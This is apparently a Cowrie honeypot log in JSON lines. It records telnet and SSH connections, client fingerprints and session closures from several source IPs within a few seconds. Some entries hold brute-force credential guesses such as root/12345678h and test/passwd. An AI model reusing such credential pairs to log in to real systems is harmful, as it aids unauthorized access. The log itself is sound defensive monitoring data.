{"eventid":"cowrie.session.closed","duration":30.446137189865112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:28.110426Z","src_ip":"147.124.211.111","session":"c5e2dbeb8c30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39856,"dst_ip":"159.203.135.109","dst_port":23,"session":"b33dfc6f4250","protocol":"telnet","message":"New connection: 147.124.211.111:39856 (159.203.135.109:23) [session: b33dfc6f4250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:28.115381Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39824,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c9f3cc9b740","protocol":"telnet","message":"New connection: 147.124.211.111:39824 (159.203.135.109:23) [session: 0c9f3cc9b740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:28.242287Z"}
{"eventid":"cowrie.session.closed","duration":31.550371408462524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:28.816197Z","src_ip":"147.124.211.111","session":"7bb1c7edba79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.644123315811157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:29.239696Z","src_ip":"147.124.211.111","session":"e03332ab0190","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39898,"dst_ip":"159.203.135.109","dst_port":23,"session":"685ffe1236bf","protocol":"telnet","message":"New connection: 147.124.211.111:39898 (159.203.135.109:23) [session: 685ffe1236bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:29.473043Z"}
{"eventid":"cowrie.session.closed","duration":31.299598455429077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:29.829029Z","src_ip":"147.124.211.111","session":"14890ebd62d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51774,"dst_ip":"159.203.135.109","dst_port":23,"session":"f245eda27cf0","protocol":"telnet","message":"New connection: 147.124.211.111:51774 (159.203.135.109:23) [session: f245eda27cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:29.962928Z"}
{"eventid":"cowrie.session.closed","duration":30.908555507659912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:30.090544Z","src_ip":"147.124.211.111","session":"67220c8d32fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39840,"dst_ip":"159.203.135.109","dst_port":23,"session":"974ce188f6c0","protocol":"telnet","message":"New connection: 147.124.211.111:39840 (159.203.135.109:23) [session: 974ce188f6c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:30.097784Z"}
{"eventid":"cowrie.session.closed","duration":30.980003356933594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:30.226924Z","src_ip":"147.124.211.111","session":"b47a2fe37348","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51778,"dst_ip":"159.203.135.109","dst_port":23,"session":"e317f34cbad2","protocol":"telnet","message":"New connection: 147.124.211.111:51778 (159.203.135.109:23) [session: e317f34cbad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:30.293917Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51792,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcefed059a9d","protocol":"telnet","message":"New connection: 147.124.211.111:51792 (159.203.135.109:23) [session: fcefed059a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:30.340528Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51810,"dst_ip":"159.203.135.109","dst_port":23,"session":"58d178ee9dea","protocol":"telnet","message":"New connection: 147.124.211.111:51810 (159.203.135.109:23) [session: 58d178ee9dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:30.510923Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51814,"dst_ip":"159.203.135.109","dst_port":23,"session":"2db3b729efb4","protocol":"telnet","message":"New connection: 147.124.211.111:51814 (159.203.135.109:23) [session: 2db3b729efb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:30.855405Z"}
{"eventid":"cowrie.session.closed","duration":30.74940037727356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:31.099650Z","src_ip":"147.124.211.111","session":"a5a9ddfdcbfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.551871061325073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:31.104479Z","src_ip":"147.124.211.111","session":"d44389530c27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.570923805236816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:31.127538Z","src_ip":"147.124.211.111","session":"4d1819ad4b6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.933541536331177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:31.194216Z","src_ip":"147.124.211.111","session":"f08797b49b8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51796,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7c2da4d21bf","protocol":"telnet","message":"New connection: 147.124.211.111:51796 (159.203.135.109:23) [session: e7c2da4d21bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:31.505868Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51820,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bb0b20da225","protocol":"telnet","message":"New connection: 147.124.211.111:51820 (159.203.135.109:23) [session: 2bb0b20da225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:31.641685Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51824,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f55c45f25c8","protocol":"telnet","message":"New connection: 147.124.211.111:51824 (159.203.135.109:23) [session: 7f55c45f25c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:31.785348Z"}
{"eventid":"cowrie.session.closed","duration":30.545620918273926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:32.292069Z","src_ip":"147.124.211.111","session":"10db31a63f47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51838,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1506b97a18a","protocol":"telnet","message":"New connection: 147.124.211.111:51838 (159.203.135.109:23) [session: e1506b97a18a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:33.152777Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51846,"dst_ip":"159.203.135.109","dst_port":23,"session":"11916c8f6eef","protocol":"telnet","message":"New connection: 147.124.211.111:51846 (159.203.135.109:23) [session: 11916c8f6eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:33.965723Z"}
{"eventid":"cowrie.session.closed","duration":31.32918095588684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:34.357088Z","src_ip":"147.124.211.111","session":"d48cf49c6a30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":36890,"dst_ip":"159.203.135.109","dst_port":22,"session":"91beab28e8be","protocol":"ssh","message":"New connection: 114.141.59.195:36890 (159.203.135.109:22) [session: 91beab28e8be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:34.498653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:34.502697Z","src_ip":"114.141.59.195","session":"91beab28e8be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:34.750509Z","src_ip":"114.141.59.195","session":"91beab28e8be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51882,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad9337e78f39","protocol":"telnet","message":"New connection: 147.124.211.111:51882 (159.203.135.109:23) [session: ad9337e78f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:34.849075Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51886,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ee94aad04d5","protocol":"telnet","message":"New connection: 147.124.211.111:51886 (159.203.135.109:23) [session: 9ee94aad04d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:34.978511Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51856,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f1565a84196","protocol":"telnet","message":"New connection: 147.124.211.111:51856 (159.203.135.109:23) [session: 5f1565a84196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:35.075701Z"}
{"eventid":"cowrie.session.closed","duration":30.52389907836914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:35.080624Z","src_ip":"147.124.211.111","session":"7a378265b914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51866,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5ec898f3f41","protocol":"telnet","message":"New connection: 147.124.211.111:51866 (159.203.135.109:23) [session: f5ec898f3f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:35.089941Z"}
{"eventid":"cowrie.session.closed","duration":30.858492612838745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:35.214874Z","src_ip":"147.124.211.111","session":"012a2ae9290c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.600924730300903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:35.426594Z","src_ip":"147.124.211.111","session":"95772a3e02d5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678h","message":"login attempt [root/12345678h] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:35.752752Z","src_ip":"114.141.59.195","session":"91beab28e8be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.57755184173584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:36.017485Z","src_ip":"147.124.211.111","session":"f78b258c9161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":46440,"dst_ip":"159.203.135.109","dst_port":22,"session":"443d82e15d1a","protocol":"ssh","message":"New connection: 72.253.251.7:46440 (159.203.135.109:22) [session: 443d82e15d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:36.050545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:36.055806Z","src_ip":"72.253.251.7","session":"443d82e15d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.96970534324646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:36.075946Z","src_ip":"147.124.211.111","session":"6a30c38dab4c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:36.172850Z","src_ip":"72.253.251.7","session":"443d82e15d1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fff","message":"login attempt [root/fff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:36.676647Z","src_ip":"72.253.251.7","session":"443d82e15d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.726383447647095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:36.690682Z","src_ip":"147.124.211.111","session":"b164c9090c52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:36.996430Z","src_ip":"114.141.59.195","session":"91beab28e8be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.59365701675415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:37.446108Z","src_ip":"147.124.211.111","session":"fa7d18c19365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.94379377365112,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:37.480845Z","src_ip":"137.184.155.248","session":"bf5fae4fa071","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51890,"dst_ip":"159.203.135.109","dst_port":23,"session":"c663eaa86087","protocol":"telnet","message":"New connection: 147.124.211.111:51890 (159.203.135.109:23) [session: c663eaa86087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:37.486593Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:37.795871Z","src_ip":"72.253.251.7","session":"443d82e15d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.124373197555542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:38.102909Z","src_ip":"147.124.211.111","session":"c780bd6e75f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51914,"dst_ip":"159.203.135.109","dst_port":23,"session":"436742af3fd9","protocol":"telnet","message":"New connection: 147.124.211.111:51914 (159.203.135.109:23) [session: 436742af3fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:38.183875Z"}
{"eventid":"cowrie.session.closed","duration":31.074228048324585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:38.324462Z","src_ip":"147.124.211.111","session":"993138ec8b6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77843737602234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:38.556373Z","src_ip":"147.124.211.111","session":"307f5df4eb7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":36730,"dst_ip":"10.17.0.5","dst_port":22,"session":"e41182ed1ff1","protocol":"ssh","message":"New connection: 41.86.34.139:36730 (10.17.0.5:22) [session: e41182ed1ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:38.615257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:38.619954Z","src_ip":"41.86.34.139","session":"e41182ed1ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:38.826921Z","src_ip":"41.86.34.139","session":"e41182ed1ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51962,"dst_ip":"159.203.135.109","dst_port":23,"session":"33ef5e00fc83","protocol":"telnet","message":"New connection: 147.124.211.111:51962 (159.203.135.109:23) [session: 33ef5e00fc83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:38.936268Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51974,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cad311cda93","protocol":"telnet","message":"New connection: 147.124.211.111:51974 (159.203.135.109:23) [session: 8cad311cda93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:39.100156Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51982,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ed299379179","protocol":"telnet","message":"New connection: 147.124.211.111:51982 (159.203.135.109:23) [session: 3ed299379179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:39.104095Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51920,"dst_ip":"159.203.135.109","dst_port":23,"session":"37d37f4dd36f","protocol":"telnet","message":"New connection: 147.124.211.111:51920 (159.203.135.109:23) [session: 37d37f4dd36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:39.249202Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51932,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a679a6d7410","protocol":"telnet","message":"New connection: 147.124.211.111:51932 (159.203.135.109:23) [session: 2a679a6d7410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:39.441931Z"}
{"eventid":"cowrie.session.closed","duration":31.49959421157837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:39.606803Z","src_ip":"147.124.211.111","session":"f5f112753bd6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"passwd","message":"login attempt [test/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:39.689471Z","src_ip":"41.86.34.139","session":"e41182ed1ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51990,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6246e3b999f","protocol":"telnet","message":"New connection: 147.124.211.111:51990 (159.203.135.109:23) [session: e6246e3b999f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:39.695174Z"}
{"eventid":"cowrie.session.closed","duration":31.72654438018799,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:39.791534Z","src_ip":"147.124.211.111","session":"61b7deb0a17d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51946,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc1a31e0c7f5","protocol":"telnet","message":"New connection: 147.124.211.111:51946 (159.203.135.109:23) [session: bc1a31e0c7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:39.953152Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":39687,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f1512647da7","protocol":"ssh","message":"New connection: 103.86.180.10:39687 (159.203.135.109:22) [session: 1f1512647da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:40.088957Z"}
